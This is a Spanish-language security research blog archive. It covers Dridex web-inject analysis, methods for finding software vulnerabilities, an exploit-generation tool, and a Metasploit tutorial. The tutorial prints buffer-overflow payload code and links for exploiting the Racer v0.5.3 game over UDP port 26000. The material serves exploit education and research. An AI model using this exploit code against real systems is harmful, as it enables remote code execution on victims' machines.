martes, 12 de abril de 2016

Analyzing and Exploiting Web Injects of Dridex

I show my research about the Web Injects of Dridex.

Analyzing the Web Injects and exploring the JavaScript source code. I managed to exploit the Dridex panel.

We have recovered more than 16,000 credit card numbers from over 100 countries.


More information:
Analysis of Latest Dridex Campaign

Full report:
Analyzing and Exploiting Web Injects of Dridex

miércoles, 30 de marzo de 2011

Cómo buscar vulnerabilidades en software

Hace mucho que no escribo nada, y esta vez será solo para recomendaros un artículo escrito por mi. El artículo describe las formas de búsqueda de vulnerabilidades actuales, aunque con ingenio seguramente se os ocurra alguna que sea eficaz también.

Cómo buscar vulnerabilidades en software
Voy a introducir en mi primer post en este blog, el cual trata sobre la búsqueda de vulnerabilidades enfocadas a binarios y no a aplicaciones web. Normalmente, los software vulnerables a buffer overlow, vulnerabilidades double free, null dereference… están programados en C o C++, lo que aumenta su peligrosidad, ya que otros lenguajes de programación tratan, por ejemplo, los arrays de caracteres de forma segura chequeando el tamaño de los mismos, en cambio en C Y C++, se le da total libertad al programador y es él quien debe encargarse de esos chequeos, esto no pasa en lenguajes como Java, Ruby, Perl, Delphi, etc.
Cuando auditamos una aplicación en busca de vulnerabilidades, podemos hacerlo de dos formas, a partir de su código fuente, lo que se llama análisis de código fuente, también llamada auditoría de Caja Blanca (WhiteBox), o a partir del binario de la aplicación llamada auditoría de Caja Negra (BlackBox). Realmente, en ciertas ocasiones podemos tener sólo disponibles partes del código pero de momento vamos a ir viendo esos dos casos:

Auditoría de código fuente
Para realizar dichos análisis, debemos indispensablemente saber programar muy bien en algún lenguaje como C y alguno orientado a objetos. Cuantos más conocimientos se tenga de programación, varios lenguajes completamente distintos, tecnologías, framework’s, etc. Nos será más efectivo llevar el análisis de código, además de conocer los posibles tipos de vulnerabilidades existentes, y normalmente en qué situaciones son provocadas o qué funciones son muy peligrosas de utilizar, si no se controlan bien. Para ello, nos podemos informar en internet aunque al final dejaré enlaces y libros enfocados a fallos típicos en binarios, los cuales pueden ser de nuestro interés para analizar aplicaciones en busca de vulnerabilidades. En la auditoría de binarios veremos algunas técnicas que perfectamente pueden servir para esto.

Análisis de binarios
En este caso suele estar disponible sólo el ejecutable, ya sea el típico PE de Windows, ELF de Linux, ROM…Veremos ejemplos más delante de binarios sobretodo enfocados a Windows. Veamos varias formas de buscar vulnerabilidades en binarios:

-Fuzzing: Consiste en realizar pruebas automáticas, en base a una investigación previa sobre la estructura de lo que queremos analiza, ya sea mediante el documento de especificación, o reverseando algún programa. Se utiliza para todo tipo de programas, pero es normal verlo para programas que abren “X” tipo de fichero y tienen una estructura interna por dentro. Por ejemplo, los pdf’s que están de moda, tienen una estructura y si se hace un programa que vaya generando numerosos documentos pdf’s malformados, pueden salir que un mismo pdf puede afectar a varios programas que no tienen nada que ver o que van copiando partes unos de otros, incluso varios fallos en un mismo lector de pdf’s.

-Ingeniería inversa: Mediante un depurador o desensamblador, como IDA Pro u OllyDbg, se puede ver el código en ensamblador y depurar el mismo. Tenemos el problema de que puedan ir protegidos, y se necesita un conocimiento en estas áreas, pero son herramientas perfectas si sabemos dónde buscar y nos pueden ayudar bastante a encontrar vulnerabilidades complejas, o incluso backdoors dejadas por programadores, que no se esperan que nadie pueda verlas, por ejemplo un condicional tipo ” if(password == “magicword:P”) “.

-Decompilación de código: A partir de decompiladores específicos de cierto lenguaje como los existentes para Delphi o .NET, tendríamos disponible el código fuente, siempre y cuando no viniera ofuscado ni con otras protecciones que llevaran más tiempo analizar. En este tipo de lenguajes y binarios pueden ser comunes los fallos tipo Command Injection y demás. Si intentamos decompilar un binario con código C/C++ podemos usar el IDA Pro con un plugin llamado Hex-Rays Decompiler que te lo traduce a código C aunque se pierden todos los símbolos y es difícil de seguir, pero mejor C que ensamblador en muchas ocasiones. De este modo, podríamos comenzar una auditoría manual y un análisis automatizados del código fuente como el de Buguroo BugScout.

-Ejecución simbólica: Es una técnica que, a partir de un método que se ejecuta al principio (un mecanismo interesante es el de proporcionar de entrada “X” valores de interés como entradas de usuario, para ello habría que adaptar el programa) es capaz de recorrer dinámicamente, todas las posibles rutas de ejecución de un programa y así encontrar vulnerabilidades difíciles de encontrar mediante otros métodos. El compilador-optimizador se llama LLVM y para esta tarea de búsqueda de vulnerabilidades se suele usar la máquina virtual KLEE. Se necesita compilar el código fuente de C, por ejemplo, con gcc-llvm. Se utiliza para programas que ya han sido testeados muchas veces. Este método puede descubrir alguna vulnerabilidad adicional ya que explora todo en ejecución y algunos compiladores modifican el código cuando compilan, (optimizaciones y demás) y se han dado varios casos en los que los códigos se han vuelto inseguros a través de estas modificaciones.

- Diff de binarios: Actualmente, un modo de hacer exploits es una vez que han parcheado un software, se aplican comparaciones entre la versión parcheada y la antigua, como pasa con los parches de Microsoft del tipo MS11-xxx, y se descubre el trozo de código que ha cambiado y se puede ver el fallo. Aunque propiamente el fallo ya ha sido descubierto antes, a veces se puede usar para encontrar fallos que han parcheado de manera silenciosa. Esta técnica también se puede aplicar a la auditoría manual si es un diff de código disponible.

-Testing manual: Hay varias formas de realizar este testeo para lograr buenos resultados, vamos a repasarlos brevemente:

Dejar la aplicación en manos de compañeros desarrolladores, y que vayan accediendo por todos lados probando inputs aleatorios y en algún caso, si existen zonas restringidas se les pase claves para que vayan probando en todas las zonas.

Una técnica utilizada por muchos productos, es lanzar el producto en versión Beta, y que la gente reporte problemas y errores descubiertos mediante su uso, estas versiones suelen llevar formas de reporte especial, además algo molestas para usuarios que en versiones oficiales no tienen.
Después de repasar cada método podemos inferir que ventajas y limitaciones tiene cada uno. En base a las limitaciones temporales que conlleva en muchas ocasiones la búsqueda de vulnerabilidades, elegiremos uno u otro. Utilizando todos de forma eficaz se puede llegar a un construir un software seguro.

También hay que destacar que hay tipos de análisis que se solapan. Por ejemplo, en este artículo no veo necesario entrar en el caso del threat model. Abajo os muestro algunos enlaces divididos por vulnerabilidades descubiertas con los distintos tipos de búsqueda de vulnerabilidades. Además, os dejo información de algunos de los temas tocados para que investiguéis en profundidad, aunque en posteriores post se irán tocando estos temas y otros de cómo aprovechar dichas vulnerabilidades mediante exploits.

Enlaces sobre distintos tipos de vulnerabilidades descubiertas con los métodos vistos:

Fuzzing:
Ingenieria Inversa:
Decompilación:
Ejecución Simbólica:
Diff de binarios:
Manual testing:
*Decir que hay cientos de ejemplos en Internet, es cuestión de buscarlos. Entre ellos, alguno mio del que estoy seguro del método que se usó para descubrir la vulnerabilidad. En algún enlace se puede ver mezcla de métodos, incluso alguno general que tienen muchas vulnerabilidades pero que considero interesantes.
Otros enlaces de interés:

 Link: http://blog.buguroo.com/?p=344

Saludos!!

lunes, 28 de septiembre de 2009

La guinda del pastel de SMB2

Bueno, hace tiempo os sonaría haber oido algo de que se había encontrado un fallo en windows vista y 7 que podía ser afectado de forma bestia por redes. Y aunque fue categorizado como DOS primeramente por Laurent Gaffié, el cual no pensaba que fuera posible explotar, después de una llamada de atención por parte de algunos, yo sólo sé de 48bits.com así que no sé si fueron los primeros. Decían en su blog que era posible explotarlo y así fue, no tardarían en investigar la gente el tema. Y hasta ahora todo era privado, pero metasploit lo acaba de publicar: http://metasploit.com/svn/framework3/trunk/modules/exploits/windows/smb/smb2_negotiate_func_index.rb

Os recomiendo echarle un ojo para aprender bastante, ya que han ido explicando los autores como lo han hecho.

Un saludete

domingo, 16 de agosto de 2009

Proyecto EEW(Expert Expoit Writer)

Os voy a hablar de un proyecto que se traen entre manos desde hace tiempo boken y yibam.

El proyecto en sí es la creación de una herramienta capaz de generar exploits a partir de un PoC en ficheros script de python completamente funcionales por sí solos.

Os copio parte de los blogs de yibam y boken:

El usuario indicaría la longitud de la cadena que provoca el Buffer Overflow, la via por la cual el software vulnerable es capaz de recibir dicha cadena. Por linea de comandos, en forma de fichero interpretables por el software vulnerable, por conexión de red (socket), como argumento de una función de una libreria .dll, etc... Y la herramienta comienza todo el proceso de análisis.

El análisis automático que realiza la herramienta, consiste en montar la PoC y lanzarlo contra el software vulnerable para provocar el crash de Access Violation. Debido a la infinidad de casos, la herramienta va salvando los diferentes obstáculos (AntiDEP, SafeSEH, excepciones de escritura o lectura de ciertas direcciones, localización de direcciones validas para hacer un trampolin valido, etc...) hasta llegar a sobreescribir EIP y con toda esa información, crear un script .py que al lanzarlo de manera independiente, sea capaz de ejecutar una shellcode explotando el fallo indicado por la PoC en el software vulnerable.

----

Bueno, os dejo que descubrais vosotros mismo las grandes utilidades que va a tener, de momento se puede usar en modo API, y como bien dicen ellos, el framework Sulley...que es para fuzzing, se podría acoplar y hacer...maravillas!!! ejeje

En el apartado de links de distintos blogs aparecen los blogs de yibam y boken y el link del proyecto es el siguiente:EEW(Exploit Expert Writer)

La única pega que le pongan el nombre en inglés jejej

lunes, 20 de julio de 2009

Pwtent Pwnables 100 - Solucion Defcon

Ya que hace tanto que no escribo en el blog, os dejo un zip con una solución de una prueba de la DefCon que trataba del tema que más me gusta, el exploiting jeje.

Ahí tenéis el link para descargar: 100 Pwtent Pwnables

Decir que el zip contiene pdf y docx, además de incluir otros archivos que en el pdf no he podido meter o se ven mal. En el documento docx está todos los archivos incluidos y la imagen si se ve bien.(El pdf lo cree desde el office, por eso se ve mal xD).

Espero que os guste y cualquier duda o sugerencia, son bienvenidas :p

Por cierto, contiene un exploit remoto hecho para metasploit :P

domingo, 21 de junio de 2009

Fin de curso

Pues eso, al haber acabado el curso, ya por fin tendré tiempo para escribir por aquí y por allá, y actualizarme que llevo tiempo sin hacerlo y bueno hacer alguna salida por ahí como la del Asegura IT, que menudos cracks habia juntos.

Seguiré con los exploits que hice hace tiempo para el concurso, los cuales algunos ya están en metasploit oficialmente y bueno, veremos a ver si puedo sacar los concursos de exploiting de crackslatinos, que hay uno muy interesante que si lo hago, me cargo el DEP de forma brusca y a lo bestia.

Luego seguiré si tengo tiempo con los retos(haciendo y jugando xD)

Y a ponerse con hacking web, reversing y exploiting en linux, y lo que de tiempo.

miércoles, 4 de marzo de 2009

Metasploit -> MSFXDC(Protocolo UDP)

Remotos:
UDP: racer_bof.rb

Descripcion: Racer v0.5.3 beta 5(09-03-07):
Es un exploit que trata sobre un juego de carreras y que escucha en un puerto, el 26000(UDP).
Esto ya nos da bastantes pistas para comenzar.

Requisitos:
De momento vamos a abrir los archivos que tratan de las conexiones UDP.

1º-C:\Documents and Settings\user\Datos de programa\msf32\lib\msf\core\exploit\udp.rb
2º-C:\Documents and Settings\user\Datos de programa\msf32\lib\rex\socket\udp.rb

Está bastante comentado así que podeis entenderlo fácilmente si estáis relacionados con
la programación en ruby u otro lenguaje que se le parezca.


Exploit:
Hay que incluir una línea para indicar que usaremos ese protocolo, justo despeus de definir
la clase Metasploit3
########################################################################################################
include Msf::Exploit::Remote::Udp
########################################################################################################

En la definicion de exploit, podemos poner varias lineas:
########################################################################################################
connect_udp #--> Crea una conexion con el protocolo udp para enviar datos

buf = 'A' * 1001 + [target.ret].pack('V') + payload.encoded + 'B' * (1196 - payload.encoded.length)

udp_sock.put(buf) #--> Envia mediante udp lo que hay en buf, este es el único definido en el 2º archivo.

handler #--> Controla la conexion

disconnect_udp #--> Y termina la conexion
########################################################################################################

Tambien es importante la siguiente parte de código que va en otra parte dentro del exploit:
########################################################################################################
register_options(
[
Opt::RPORT(26000) #Puerto especificado por defecto
], self.class)
########################################################################################################

Download App Vuln: https://www.securinfos.info/old_softwares_vulnerable/racer053b5.rar

Link del exploit: https://www.securinfos.info/metasploit/racer_bof.rb ó http://www.metasploit.com/modules/exploit/windows/games/racer_503beta5

--------------------------------------------

Bueno en principio tenía pensado depurarlo de nuevo para ver mejor el espacio real para la shellcode y ajustarlo en el exploit, o badchars e incluso referencias, pero ando bastante jodido de tiempo, así que si alguno quiere bienvenido sea. Además me imagino que la dirección de la dll es universal, pero podéis agregar otras versiones que seguramente sea vulnerable en otras y asi hacerlo más universal todavía :P

Saludos y espero que a alguno le sirva.